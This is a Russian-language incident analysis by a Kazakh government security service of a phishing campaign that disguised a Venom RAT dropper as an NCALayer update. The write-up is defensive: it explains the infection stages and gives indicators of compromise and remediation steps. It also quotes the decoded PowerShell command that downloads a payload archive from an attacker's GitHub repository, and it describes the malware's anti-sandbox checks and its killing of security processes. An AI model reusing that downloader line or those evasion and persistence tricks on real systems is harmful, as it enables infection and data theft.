Технический разбор инцидента с фальшивым обновлением NCALayer
На этой неделе в АО "Государственная техническая служба" обратились обеспокоенные граждане, которые обнаружили у себя подозрительные электронные письма с просьбой установить "обновление" для программного обеспечения NCALayer. При переходе по ссылке, содержащейся в электронном письме, происходит загрузка скрипта "Обновление-NCALayer.bat", который инициирует многоэтапную загрузку, в конечном счете, приводящую к установке на компьютер вредоносной программы Venom RAT v6.0.1.
В данном материале производится технический разбор вредоносных программ, связанных с данным случаем. Статья предназначена для специалистов по информационной безопасности, администраторов информационных систем и сетевых инженеров, обеспечивающих безопасность инфраструктуры, а также пользователей, интересующихся проблемами кибербезопасности в казахстанском сегменте Интернета. В конце материала также содержатся рекомендации тех, кто столкнулся с данной угрозой и пытался устранить его последствия.
Первичный загрузчик "Обновление-NCALayer.bat"
Ссылка из письма направляла на фишинговый ресурс hxxps://ncalayer[.]info/update.php, на котором пользователей вводили в заблуждение, побуждая их произвести загрузку и запуск "обновления" для ПО "NCALayer". Домен был создан 3 сентября т.г. в 21:09. На следующий день пользователи начали получать первые подозрительные письма и сообщать о них в Call-центр KZ-CERT и через несколько часов был произведён анализ вредоноса "Обновление-NCALayer.bat" и его полезной нагрузки.
При запуске пакетного файла "Обновление-NCALayer.bat" производится повторный запуск скрипта с правами администратора системы. При получении повышенных привилегий вызывается командный интерпретатор PowerShell.exe, который содержит закодированную в base64 команду. В процессе ее исполнения с репозитория GitHub скачивается архив NETFramework48.zip, после чего его содержимое распаковывается в директорию %APPDATA% (Рис.1).
Декодированный из base64 командлет PowerShell’а:
Invoke-WebRequest "hxxps://github[.]com/netset15/TestRepo/ raw/main/NETFramework48.zip" -OutFile "$env:APPDATA\ NETFramework48.zip" ; Expand-Archive "$env:APPDATA\ NETFramework48.zip" -DestinationPath "$env:APPDATA"
Распакованный архив содержит копию командного интерпретатора PowerShell.exe, который используется вместо встроенной в систему для того, чтобы обойти средства защиты информации. Затем, с использованием скачанного PowerShell’а производится объявление процедур шифрования по алгоритму AES и распаковки данных по алгоритму GZip, после чего они применяются к полезной нагрузке, содержащейся в конце этого же файла. Далее распакованные данные загружаются в память и исполняются в виде .NET Assembly.
Деобфускация полезной нагрузки
Наиболее ценный инструмент в подобных случаях — это CyberChef, который заслуженно называют швейцарским ножом для анализа данных. Инструмент разработан британским Центром правительственной связи (Government Communications Headquarters, GCHQ), свободно доступен и заслуженно завоевал сердца тысяч аналитиков безопасности по всему миру. С его помощью можно без излишних усилий произвести расшифрование и распаковку данных.
На рисунке 3 изображён снимок экрана утилиты CyberChef с пояснительными надписями. Чтобы корректно преобразовать их, необходимо следовать тем операциям, которые приведены в программном коде. На первом шаге входные данные декодируются по алгоритму base64. Затем на шаге № 2 производится расшифрование по алгоритму Advanced Encryption Standard (AES) в режиме сцепления блоков шифртекста (CBC) с соответствующими ключом и вектором инициализации (IV). Полученные на предыдущем этапе данные распаковываются на алгоритме ZIP, после чего преобразуются в шестнадцатеричный формат. Поскольку первые два байта выходных данных соответствуют MZ-сигнатуре, то можно сделать вывод о корректности произведенных операций. Для наглядности будем именовать полученный файл формата PE32 модулем № 1.
Модуль № 1
Поскольку модуль представляет собой исполняемый файл формата PE32 .NET, то для изучения функционала можно воспользоваться декомпилятором dnSpy. Данный инструмент предназначен для исследования .NET приложений, является бесплатным и, помимо декомпилятора, позволяет производить отладку программы.
Воспользовавшись декомпилятором dnSpy и утилитой CyberChef, возможно определить, что модуль № 1 содержит код для расшифрования, распаковки и запуска модуля, хранящегося в ресурсах в виде текстового файла "payload.txt". В целом функционал аналогичен тому, который исполнялся посредством PowerShell: параметры, закодированные в base64, используются для расшифрования алгоритмом AES и распаковываются посредством GZip, после чего загружаются в виде .NET Assembly. Полученный файл формата PE32 .NET будем именовать модулем № 2.
Модуль № 2
Второй модуль также является исполняемым файлом формата PE32 .NET, функционал которого включает загрузку с другого GitHub-репозитория архива с вредоносной программой.
Помимо этого, вредонос устанавливает загруженный файл в автозагрузку текущего пользователя: в ключе HKCU\Software\ Microsoft\Windows\ CurrentVersion\Run создается параметр "WinRAR32", указывающий на исполняемый файл %APPDATA%\OSDService\Init.exe.
Venom RAT
Загруженный с GitHub архив OSDService.zip содержит исполняемый файл Init.exe, который представляет собой вредоносную программу Venom RAT. Указанный вредонос отличается богатым функционалом, который включает кейлоггер и кражу данных. Собранная информация сохраняется в директории %APPDATA%\MyData. Кроме того, злоумышленник имеет возможность получать телеметрию с зараженного компьютера, которая включает первичные сведения о системе (имя компьютера, имя пользователя, тип и версия ОС, количество ЦПУ и графического процессора, список установленных программ, включая антивирусы) и журнал клавиатурного шпиона.
Особо следует отметить наличие защиты от анализа в антивирусных песочницах. Программа посредством технологии WMI получает значение "ProductType" класса "Win32_OperatingSystem", и, если оно равно 3, т.е. является серверной ОС (за исключением контроллера домена), то программа завершается. Вторая проверка основывается на подсчёте числа записей класса Win32_CacheMemory — если их менее 2, то программа делает вывод о том, что запущена в виртуальной машине и также прекращает своё исполнение.
Кроме того, программа способна завершать процессы, которые часто используются специалистами для мониторинга запущенных процессов: "Taskmgr.exe", "ProcessHacker.exe", "procexp.exe", "MSASCui.exe", "MsMpEng.exe", "MpUXSrv.exe", "MpCmdRun.exe", "NisSrv.exe", "ConfigSecurityPolicy.exe", "MSConfig.exe", "Regedit.exe", "UserAccountControlSettings.exe", "taskkill.exe".
Каким же образом подобный инструмент оказался в руках злоумышленников, стоящих за данной кибератакой? Дело в том, что разработчик Venom Remote Access Tool (RAT) — американская компания Venom Software позиционирует его как инструмент для удаленного администрирования при проведении тестирования на проникновение. Компания даже имеет веб-сайт, посредством которого осуществляет продажу копий программы, а также правила пользования их продуктом, которые прямо запрещают любой несанкционированный доступ с использованием их программного обеспечения.
Стоимость за пожизненную лицензию составляет всего лишь 650 долларов США, а месячная аренда ПО — 350 долларов США. В дополнение к RAT компания предлагает услуги абузоустойчивого хостинга на базе Windows, стоимость которого обойдётся в 200 долларов США в месяц. Тем не менее, если "погуглить", то на хакерских форумах можно найти взломанную версию программы и вовсе бесплатно — вместе с исходным кодом.
Заключение
Усилиями АО "ГТС" и государственных органов доступ к фишинговому ресурсу был заблокирован, а затем домен ncalayer[.]info и вовсе был разделегирован.
Тем не менее, злоумышленники ежедневно придумывают всё новые хитрости, которые побуждают пользователя перейти по фишинговой ссылке, скачать и запустить вредоносный код. Для корпоративной безопасности одной из эффективных мер является обучение пользователей основам кибергигиены, что позволит повысить осведомленность о текущих угрозах, и, как следствие, существенно снизить количество подобных инцидентов информационной безопасности.
Если вы стали жертвой вредоносного программного обеспечения, то эксперты АО "ГТС" помогут вам справиться с возникшей ситуацией. Обращайтесь по телефону +7 (7172) 55-99-99, по бесплатному номеру 1400, e-mail: in[email protected].
Авторы: Аскар Дюсекеев, Мухамбет Назаров, Центр исследования вредоносного кода АО "Государственная техническая службы".
Индикаторы компрометации и рекомендации по устранению данного инцидента ИБ.
1. Обновить антивирусные сигнатуры и произвести сканирование компьютера. Если вы являетесь домашним пользователем, то можете дополнительно воспользоваться антивирусными утилитами DrWeb CureIt! и Kaspersky Virus Removal Tool. Нейтрализовать обнаруженные угрозы.
2. Произвести поиск среди обнаруженных угроз по приведенным контрольным суммам в панели централизованного управления антивирусным средством или локальном хранилище карантина. Произвести расследование причин возникновения событий безопасности.
3. Посредством DLP, групповых политик Active Directory или вручную произвести поиск в сети по приведенному списку файлов и директорий, а также ключам реестра и именам задач. Произвести расследование причин возникновения событий безопасности.
4. На межсетевом экране или прокси-сервере произвести поиск по приведенным IP-адресам. Произвести расследование причин возникновения событий безопасности.
5. Провести обучение персонала основам киберосведомленности об угрозах ИБ.
Контрольные суммы:
90fc32affdfe1f78c15b7d0d0d5c2eb0
dec8d147133403aeaf4d6a3f568b96ce
11778b58e4de1518f0b10129ab1d8d0d
bee0c15caed5c45356c7fd55290a2dbf
fff67136941d5d16011e78db9e2626f43adfe3bc
1b9b17ceb20bb120c0113d90dc6e3751e50c98dc
dbb287ccafa466db2d049d3a11b791dd8d1694d7
5fdf1f9de16ad67c3a40a0b57aad8015978d4e60
63ad98fc47990e1b827a6c1b541d7a76f65722537edaef90ffde5262f30383e2
fa086d24c7d52d75a4e6725517ee3a387a9d9cd5b0275fa010e1dfd81039dc46
4876b9c55e9b29f2c4ceeaa1fb498dea8d4e4cd40356c92d23a4b15d9b70c51d
5917fd78b3281464e5231cfddfa62a26de5dcd8146eedb7b58d40bbdb4424138
Имена файлов и директорий:
Обновление-NCALayer.bat
%APPDATA%\NETFramework48\install.exe
%APPDATA%\OSDService\Init.exe
%APPDATA%\NETFramework48.zip
%APPDATA%\csrsv64.zip
%APPDATA%\OSDService.zip
%APPDATA%\MyData
Реестр:
параметр "ConsentPromptBehaviorAdmin" ключа HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
параметр "WinRAR32" ключа HKCU\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run\
параметр "Init" ключа HKCU\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run\
Задача:
Init
Сеть:
95.214.27[.]222
95.214.27[.]223
95.214.27[.]220